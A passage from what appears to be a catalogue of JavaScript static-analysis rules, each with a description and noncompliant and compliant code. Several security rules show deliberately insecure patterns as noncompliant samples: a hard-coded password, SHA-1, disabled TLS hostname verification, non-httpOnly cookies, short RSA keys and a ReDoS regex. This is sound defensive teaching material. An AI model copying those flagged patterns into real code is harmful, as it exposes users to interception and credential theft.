}

Compliant Solution

var data = {
  "key": "value",
  "1": "value",
  "key2": "value",
  'key3': "value",
  key4: "value",
  \u006bey5: "value",
  "\u006bey6": "value",
  "\x6bey7": "value",
  1b: "value"
}
javascript:S3834

Symbol is a primitive type introduced in ECMAScript2015. Its instances are mainly used as unique property keys.

An instance can only be created by using Symbol as a function. Using Symbol with the new operator will raise a TypeError.

Noncompliant Code Example

const sym = new Symbol("foo");   // Noncompliant

Compliant Solution

const sym = Symbol("foo");
javascript:S1535

The for...in statement allows you to loop through the names of all of the properties of an object. The list of properties includes all those properties that were inherited through the prototype chain. This has the side effect of serving up functions when the interest is in data properties. Programs that don't take this into account can fail.

Therefore, the body of every for...in statement should be wrapped in an if statement that filters which properties are acted upon. It can select for a particular type or range of values, or it can exclude functions, or it can exclude properties from the prototype.

Noncompliant Code Example

for (name in object) {
    doSomething(name);  // Noncompliant
}

Compliant Solution

for (name in object) {
  if (object.hasOwnProperty(name)) {
    doSomething(name);
  }
}

Exceptions

Loops used to clone objects are ignored.

for (prop in obj) {
  a[prop] = obj[prop];  // Compliant by exception
}
javascript:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

function setName(name) {
    name = name;
}

Compliant Solution

function setName(name) {
    this.name = name;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
javascript:S1536

Function arguments should all have different names to prevent any ambiguity. Indeed, if arguments have the same name, the last duplicated argument hides all the previous arguments with the same name (those previous arguments remain available through arguments[i], so they're not completely inaccessible).

This hiding makes no sense, reduces understandability and maintainability, and obviously can be error prone. Furthermore, in strict mode, declaring arguments with the same name produces an error.

Noncompliant Code Example

function compute(a, a, c) { // Noncompliant
}

Compliant Solution

function compute(a, b, c) { // Compliant
}
javascript:S1537

Most browsers parse and discard a meaningless, trailing comma. Unfortunately, that's not the case for Internet Explorer below version 9, which throws a meaningless error. Therefore trailing commas should be eliminated.

Noncompliant Code Example

var settings = {
    'foo'  : oof,
    'bar' : rab,    // Noncompliant - trailing comma
};

Compliant Solution

var settings = {
    'foo'  : oof,
    'bar' : rab
};
javascript:S1539

Even though it may be a good practice to enforce JavaScript strict mode, doing so could result in unexpected behaviors on browsers that do not support it yet. Using this feature should therefore be done with caution and with full knowledge of the potential consequences on browsers that do not support it.

Noncompliant Code Example

function strict() {
  'use strict';
}
javascript:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use your cloud provider's service for managing secrets.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

var mysql = require('mysql');

var connection = mysql.createConnection(
{
  host:'localhost',
  user: "admin",
  database: "project",
  password: "mypassword", // sensitive
  multipleStatements: true
});

connection.connect();

Compliant Solution

var mysql = require('mysql');

var connection = mysql.createConnection({
  host: process.env.MYSQL_URL,
  user: process.env.MYSQL_USERNAME,
  password: process.env.MYSQL_PASSWORD,
  database: process.env.MYSQL_DATABASE
});
connection.connect();

See

javascript:S2189

An infinite loop is one that will never end while the program is running, i.e., you have to kill the program to get out of the loop. Whether it is by meeting the loop's end condition or via a break, every loop should have an end condition.

Known Limitations

  • False positives: when yield is used - Issue #674.
  • False positives: when an exception is raised by a function invoked within the loop.
  • False negatives: when a loop condition is based on an element of an array or object.

Noncompliant Code Example

for (;;) {  // Noncompliant; end condition omitted
  // ...
}

var j = 0;
while (true) { // Noncompliant; constant end condition
  j++;
}

var k;
var b = true;
while (b) { // Noncompliant; constant end condition
  k++;
}

Compliant Solution


while (true) { // break will potentially allow leaving the loop
  if (someCondition) {
    break;
  }
}

var k;
var b = true;
while (b) {
  k++;
  b = k < 10;
}

outer:
while(true) {
  while(true) {
    break outer;
  }
}

See

javascript:S4123

It is possible to use await on values which are not Promises, but it's useless and misleading. The point of await is to pause execution until the Promise's asynchronous code has run to completion. With anything other than a Promise, there's nothing to wait for.

This rule raises an issue when an awaited value is guaranteed not to be a Promise.

Noncompliant Code Example

let x = 42;
await x; // Noncompliant

Compliant Solution

let x = new Promise(resolve => resolve(42));
await x;

let y = p ? 42 : new Promise(resolve => resolve(42));
await y;
javascript:S1530

While most script engines support function declarations within blocks, from browser to browser, the implementations are inconsistent with each other.

Noncompliant Code Example

if (x) {
  function foo() {} //foo is hoisted in Chrome, Firefox and Safari, but not in Edge.
}

Compliant Solution

if (x) {
  const foo = function() {}
}
javascript:S1774

While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more verbose if/else structure.

Noncompliant Code Example

function foo(a) {
  var b = (a === 'A') ? 'is A' : 'is not A'; // Noncompliant
  // ...
}

Compliant Solution

function foo(a) {
  var b;
  if (a === 'A') {
    b = 'is A';
  }
  else {
    b = 'is not A';
  }
  // ...
}
javascript:S1533

The use of wrapper objects for primitive types is gratuitous, confusing and dangerous. If you use a wrapper object constructor for type conversion, just remove the new keyword, and you'll get a primitive value automatically. If you use a wrapper object as a way to add properties to a primitive, you should re-think the design. Such uses are considered bad practice, and should be refactored.

Noncompliant Code Example

let x = new Number("0");
if (x) {
  alert('hi');  // Shows 'hi'.
}

Compliant Solution

let x = Number("0");
if (x) {
  alert('hi');
}
javascript:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

var a1 = b + c; // This is a trailing comment that can be very very long

Compliant Solution

// This very long comment is better placed before the line of code
var a2 = b + c;
javascript:S930

You can easily call a JavaScript function with more arguments than the function needs, but the extra arguments will be just ignored by function execution.

Noncompliant Code Example

function say(a, b) {
  print(a + " " + b);
}

say("hello", "world", "!"); // Noncompliant; last argument is not used

Exceptions

No issue is reported when arguments is used in the body of the function being called.

function doSomething(a, b) {
  compute(arguments);
}

doSomething(1, 2, 3) // Compliant

See

  • MISRA C:2004, 16.6 - The number of arguments passed to a function shall match the number of parameters.
  • MITRE, CWE-628 - Function Call with Incorrectly Specified Arguments
  • CERT, DCL07-C. - Include the appropriate type information in function declarators
  • CERT, EXP37-C. - Call functions with the correct number and type of arguments
javascript:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

Exceptions

This function ignores Immediately Invoked Function Expressions (IIFE), which are functions that are created and invoked without ever being assigned a name.

(function () { // Ignored by this rule

  function open() {  // Classic function declaration; not ignored
    // ...
  }

  function read() {
    // ...
  }

  function readlines() {
    // ...
  }
})();
javascript:S2251

A for loop with a stop condition that can never be reached, such as one with a counter that moves in the wrong direction, will run infinitely. While there are occasions when an infinite loop is intended, the convention is to construct such loops as while loops. More typically, an infinite for loop is a bug.

Noncompliant Code Example

for (var i = 0; i < strings.length; i--) { // Noncompliant;
  //...
}

Compliant Solution

for (var i = 0; i < strings.length; i++) {
  //...
}

See

javascript:S135

Restricting the number of break and continue statements in a loop is done in the interest of good structured programming.

One break and continue statement is acceptable in a loop, since it facilitates optimal coding. If there is more than one, the code should be refactored to increase readability.

Noncompliant Code Example

for (var i = 1; i <= 10; i++) {  // Noncompliant - 2 continue - one might be tempted to add some logic in between
  if (i % 2 == 0) {
    continue;
  }

  if (i % 3 == 0) {
    continue;
  }

  alert("i = " + i);
}
javascript:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

const crypto = require("crypto");

const hash = crypto.createHash('sha1'); // Sensitive

Compliant Solution

const crypto = require("crypto");

const hash = crypto.createHash('sha256'); // Compliant

See

javascript:S5527

To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate.

The certificate's hostname-specific data should match the server hostname.

It's not recommended to re-invent the wheel by implementing custom hostname verification.

TLS/SSL libraries provide built-in hostname verification functions that should be used.

Noncompliant Code Example

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method',
  checkServerIdentity: function() {} // Noncompliant: hostname is not verified
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Noncompliant

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: function() {}  // Noncompliant: hostname is not verified
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
});  // Noncompliant

request module:

let socket = request.get({
    url: 'https://www.example.com',
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: function() {}  // Noncompliant: hostname is not verified
});

Compliant Solution

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method'
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Compliant: default checkServerIdentity function is secure

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    checkServerIdentity: (servername, peer) => {
        if (servername !== "www.example.com") {
            return new Error ('Error');  // Compliant: there is at least one check
        }
    }
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
}); // Compliant

request module:

let socket = request.get({
    url: 'https://www.example.com/',
    secureProtocol: 'TLSv1_2_method' // Compliant
}); // Compliant:  default checkServerIdentity function is secure

See

javascript:S2814

This rule checks that a declaration doesn't use a name that is already in use. Indeed, it is possible to use the same symbol multiple times as either a variable or a function, but doing so is likely to confuse maintainers. Further it's possible that such reassignments are made in error, with the developer not realizing that the value of the variable is overwritten by the new assignment.

This rule also applies to function parameters.

Noncompliant Code Example

var a = 'foo';
function a() {}   // Noncompliant
console.log(a);   // prints "foo"

function myFunc(arg) {
  var arg = "event"; // Noncompliant, argument value is lost
}

fun(); // prints "bar"

function fun() {
  console.log("foo");
}

fun(); // prints "bar"

function fun() {  // Noncompliant
  console.log("bar");
}

fun(); // prints "bar"

Compliant Solution

var a = 'foo';
function otherName() {}
console.log(a);

function myFunc(arg) {
  var newName = "event";
}

fun(); // prints "foo"

function fun() {
  print("foo");
}

fun(); // prints "foo"

function printBar() {
  print("bar");
}

printBar(); // prints "bar"
javascript:S1848

There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production.

If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate method and called directly.

Noncompliant Code Example

new MyConstructor(); // Non-Compliant

Compliant Solution

var something = new MyConstructor();  // Compliant
javascript:S2817

The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.)

Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database.

Noncompliant Code Example

var db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024);  // Noncompliant

See

javascript:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

// === Built-in NodeJS modules ===
const http = require('http');
const https = require('https');

http.createServer(function(req, res) {
  res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive
});
https.createServer(function(req, res) {
  res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive
});
// === ExpressJS ===
const express = require('express');
const app = express();
app.use(function(req, res, next) {
  res.cookie('name', 'John'); // Sensitive
});
// === In browser ===
// Set cookie
document.cookie = "name=John"; // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

javascript:S2376

When an object is created with a setter for a property but without a getter for that property, the property is inaccessible and is thus useless.

This rule also enforces the reverse situation (getter but no setter).

Noncompliant Code Example

var obj = {
    set foo(value) {
        this.fooval = value;
    }
};

Compliant Solution

var obj = {
    set foo(value) {
        this.fooval = value;
    },
    get foo() {
        return this.fooval;
    }
};

or

var obj = {
    setFoo(value) {    // a standard method, not a setter
        this.fooval = value;
    }
};
javascript:S2259

When a variable is assigned an undefined or null value, it has no properties. Trying to access properties of such a variable anyway results in a TypeError, causing abrupt termination of the script if the error is not caught in a catch block. But instead of catch-ing this condition, it is best to avoid it altogether.

Noncompliant Code Example

if (x === undefined) {
  console.log(x.length); // Noncompliant; TypeError will be thrown
}

See

javascript:S2138

undefined is the value you get for variables and properties which have not yet been created. Use the same value to reset an existing variable and you lose the ability to distinguish between a variable that exists but has no value and a variable that does not yet exist. Instead, null should be used, allowing you to tell the difference between a property that has been reset and one that was never created.

Noncompliant Code Example

var myObject = {};

// ...
myObject.fname = undefined;  // Noncompliant
// ...

if (myObject.lname == undefined) {
  // property not yet created
}
if (myObject.fname == undefined) {
  // no real way of knowing the true state of myObject.fname
}

Compliant Solution

var myObject = {};

// ...
myObject.fname = null;
// ...

if (myObject.lname == undefined) {
  // property not yet created
}
if (myObject.fname == undefined) {
  // no real way of knowing the true state of myObject.fname
}
javascript:S2137

JavaScript has special identifiers that, while not reserved, still should not be used as identifiers. They include:

  • eval - evaluates a string as JavaScript code
  • arguments - used to access function arguments through indexed properties.
  • undefined - returned for values and properties that have not yet been assigned
  • NaN - Not a Number; returned when math functions fail.
  • Infinity - when a number exceeds the upper limit of the floating point numbers

These words should not be bound or assigned, because doing so would overwrite the original definitions of these identifiers. What's more, assigning or binding some of these names will generate an error in JavaScript strict mode code.

Noncompliant Code Example

eval = 17; // Noncompliant
arguments++; // Noncompliant
++eval; // Noncompliant
var obj = { set p(arguments) { } }; // Noncompliant
var eval; // Noncompliant
try { } catch (arguments) { } // Noncompliant
function x(eval) { } // Noncompliant
function arguments() { } // Noncompliant
var y = function eval() { }; // Noncompliant
var f = new Function("arguments", "return 17;"); // Noncompliant

function fun() {
  if (arguments.length == 0) { // Compliant
    // do something
  }
}

Compliant Solution

result = 17;
args++;
++result;
var obj = { set p(arg) { } };
var result;
try { } catch (args) { }
function x(arg) { }
function args() { }
var y = function fun() { };
var f = new Function("args", "return 17;");

function fun() {
  if (arguments.length == 0) {
    // do something
  }
}
javascript:S128

When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

Noncompliant Code Example

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:  // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ?
    doSomething();
  default:
    doSomethingElse();
    break;
}

Compliant Solution

switch (myVariable) {
  case 1:
    foo();
    break;
  case 2:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Exceptions

This rule is relaxed in the following cases:

switch (myVariable) {
  case 0:                                // Empty case used to specify the same behavior for a group of cases.
  case 1:
    doSomething();
    break;
  case 2:                                // Use of return statement
    return;
  case 3:                               // Ends with comment when fall-through is intentional
    console.log("this case falls through")
    // fall through
  case 4:                                // Use of throw statement
    throw new IllegalStateException();
  case 5:                                // Use of continue statement
    continue;
  default:                               // For the last case, use of break statement is optional
    doSomethingElse();
}

See

  • MITRE, CWE-484 - Omitted Break Statement in Switch
  • CERT, MSC17-C. - Finish every set of statements associated with a case label with a break statement
  • CERT, MSC52-J. - Finish every set of statements associated with a case label with a break statement
javascript:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
}

Compliant Solution

if (x == 0) {
  doSomething();
} else if (x == 1) {
  doSomethingElse();
} else {
  throw "Unexpected value for x";
}

See

javascript:S124

This rule template can be used to create rules which will be triggered when a comment matches a given regular expression.

For example, one can create a rule with the regular expression .*REVIEW.* to match all comment containing "REVIEW".

javascript:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

javascript:S5759

Users often connect to web servers through HTTP proxies.

Proxy can be configured to forward the client IP address via the X-Forwarded-For or Forwarded HTTP headers.

IP address is a personal information which can identify a single user and thus impact his privacy.

Ask Yourself Whether

  • The web application uses reverse proxies or similar but doesn't need to know the IP address of the user.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

User IP address should not be forwarded unless the application needs it, as part of an authentication, authorization scheme or log management for examples.

Sensitive Code Example

node-http-proxy

var httpProxy = require('http-proxy');

httpProxy.createProxyServer({target:'http://localhost:9000', xfwd:true}) // Noncompliant
  .listen(8000);

http-proxy-middleware

var express = require('express');

const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true, xfwd: true })); // Noncompliant
app.listen(3000);

Compliant Solution

node-http-proxy

var httpProxy = require('http-proxy');

// By default xfwd option is false
httpProxy.createProxyServer({target:'http://localhost:9000'}) // Compliant
  .listen(8000);

http-proxy-middleware

var express = require('express');

const { createProxyMiddleware } = require('http-proxy-middleware');

const app = express();

// By default xfwd option is false
app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true})); // Compliant
app.listen(3000);

See

javascript:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

const regex = /(a+)+b/; // Sensitive
const regex2 = new RegExp("(a+)+b"); // Sensitive

str.search("(a+)+b"); // Sensitive
str.match("(a+)+b"); // Sensitive
str.split("(a+)+b"); // Sensitive

Note: String.matchAll does not raise any issue as it is not supported by NodeJS.

Exceptions

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

javascript:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

cookie-session module:

let session = cookieSession({
  httpOnly: false,// Sensitive
});  // Sensitive

express-session module:

const express = require('express'),
const session = require('express-session'),

let app = express()
app.use(session({
  cookie:
  {
    httpOnly: false // Sensitive
  }
})),

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  httpOnly: false // Sensitive
}); // Sensitive

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { httpOnly: false }}); // Sensitive

Compliant Solution

cookie-session module:

let session = cookieSession({
  httpOnly: true,// Compliant
});  // Compliant

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    httpOnly: true // Compliant
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  httpOnly: true // Compliant
}); // Compliant

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { httpOnly: true }}); // Compliant

See

javascript:S134

Nested if, for, while, switch, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

  if (condition1) {                  // Compliant - depth = 1
    /* ... */
    if (condition2) {                // Compliant - depth = 2
      /* ... */
      for(let i = 0; i < 10; i++) {  // Compliant - depth = 3, not exceeding the limit
        /* ... */
        if (condition4) {            // Non-Compliant - depth = 4
          if (condition5) {          // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
            /* ... */
          }
          return;
        }
      }
    }
  }
javascript:S131

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

switch (param) {  //missing default clause
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

switch (param) {
  default: // default clause should be the last one
    error();
    break;
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}

See

javascript:S3696

It is a bad practice to throw something that's not derived at some level from Error. If you can't find an existing Error type that suitably conveys what you need to convey, then you should extend Error to create one.

Specifically, part of the point of throwing \Errors is to communicate about the conditions of the error, but literals have far less ability to communicate meaningfully than \Errors because they don't include stacktraces.

Noncompliant Code Example

throw 404;                              // Noncompliant
throw "Invalid negative index.";        // Noncompliant

Compliant Solution

throw new Error("Status: " + 404);
throw new Error("Invalid negative index.");{code}

See

  • MISRA C++:2008, 15-1-2 - NULL shall not be thrown explicitly.
javascript:S2123

A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.

Noncompliant Code Example

function pickNumber() {
  let i = 0;
  i = i++; // Noncompliant; i is still zero

  return i++; // Noncompliant; 0 returned
}

Compliant Solution

function pickNumber() {
  let i = 0;
  i++;

  return ++i;
}
javascript:S1154

Doing an operation on a string without using the result of the operation is useless and is certainly due to a misunderstanding.

Noncompliant Code Example

var str = "..."
str.toUpperCase(); // Noncompliant

Compliant Solution

var str = "..."
str = str.toUpperCase();

See

Deprecated

This rule is deprecated; use S2201 instead.

javascript:S5757

Log management is an important topic, especially for the security of a web application, to ensure user activity, including potential attackers, is recorded and available for an analyst to understand what's happened on the web application in case of malicious activities.

Retention of specific logs for a defined period of time is often necessary to comply with regulations such as GDPR, PCI DSS and others. However, to protect user's privacy, certain informations are forbidden or strongly discouraged from being logged, such as user passwords or credit card numbers, which obviously should not be stored or at least not in clear text.

Ask Yourself Whether

In a production environment:

  • The web application uses confidential information and logs a significant amount of data.
  • Logs are externalized to SIEM or Big Data repositories.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Loggers should be configured with a list of confidential, personal information that will be hidden/masked or removed from logs.

Sensitive Code Example

With Signale log management framework the code is sensitive when an empty list of secrets is defined:

const { Signale } = require('signale');

const CREDIT_CARD_NUMBERS = fetchFromWebForm()
// here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance

const options = {
  secrets: []         // empty list of secrets
};

const logger = new Signale(options); // Sensitive

CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) {
  logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER);
});

Compliant Solution

With Signale log management framework it is possible to define a list of secrets that will be hidden in logs:

const { Signale } = require('signale');

const CREDIT_CARD_NUMBERS = fetchFromWebForm()
// here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance

const options = {
  secrets: ["([0-9]{4}-?)+"]
};

const logger = new Signale(options); // Compliant

CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) {
  logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER);
});

See

javascript:S4426

Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks.

NIST recommendations will be checked for these use-cases:

Digital Signature Generation and Verification:

  • p ≥ 2048 AND q ≥ 224 for DSA (p is key length and q the modulus length)
  • n ≥ 2048 for RSA (n is the key length)

Key Agreement:

  • p ≥ 2048 AND q ≥ 224 for DH and MQV
  • n ≥ 224 for ECDH and ECMQV (Examples: secp192r1 is a non-compliant curve (n < 224) but secp224k1 is compliant (n >= 224))

Symmetric keys:

  • key length ≥ 128 bits

This rule will not raise issues for ciphers that are considered weak (no matter the key size) like DES, Blowfish.

Noncompliant Code Example

crypto built-in module:

var { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
  modulusLength: 1024,  // Noncompliant
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}); // Noncompliant: 1024 bits is too short for a RSA key pair

crypto.generateKeyPair('ec', {
  namedCurve: 'secp112r2',
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // Noncompliant: secp112r2 curve doesn't provide enough security

Compliant Solution

crypto built-in module:

crypto.generateKeyPair('rsa', {
  modulusLength: 2048,  // Compliant
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // Compliant

crypto.generateKeyPair('ec', {
  namedCurve: 'secp224k1',
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // compliant

See

javascript:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the Math.random() function relies on a weak pseudorandom number generator, this function should not be used for security-critical applications or for protecting sensitive data. In such context, a cryptographically strong pseudorandom number generator (CSPRNG) should be used instead.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use a cryptographically strong pseudorandom number generator (CSPRNG) like crypto.getRandomValues().
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

const val = Math.random(); // Sensitive
// Check if val is used in a security context.

Compliant Solution

// === Client side ===
const crypto = window.crypto || window.msCrypto;
var array = new Uint32Array(1);
crypto.getRandomValues(array); // Compliant for security-sensitive use cases

// === Server side ===
const crypto = require('crypto');
const buf = crypto.randomBytes(1); // Compliant for security-sensitive use cases

See

javascript:S3579

Associative arrays allow you to store values in an array with either numeric or named indexes. But creating and populating an object is just as easy as an array, and more reliable if you need named members.

Noncompliant Code Example

let arr = [];
arr[0] = 'a';
arr['name'] = 'bob';  // Noncompliant
arr[1] = 'foo';

Compliant Solution

let obj = {
  name: 'bob',
  arr: ['a', 'foo']
};
javascript:S4423

Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure.

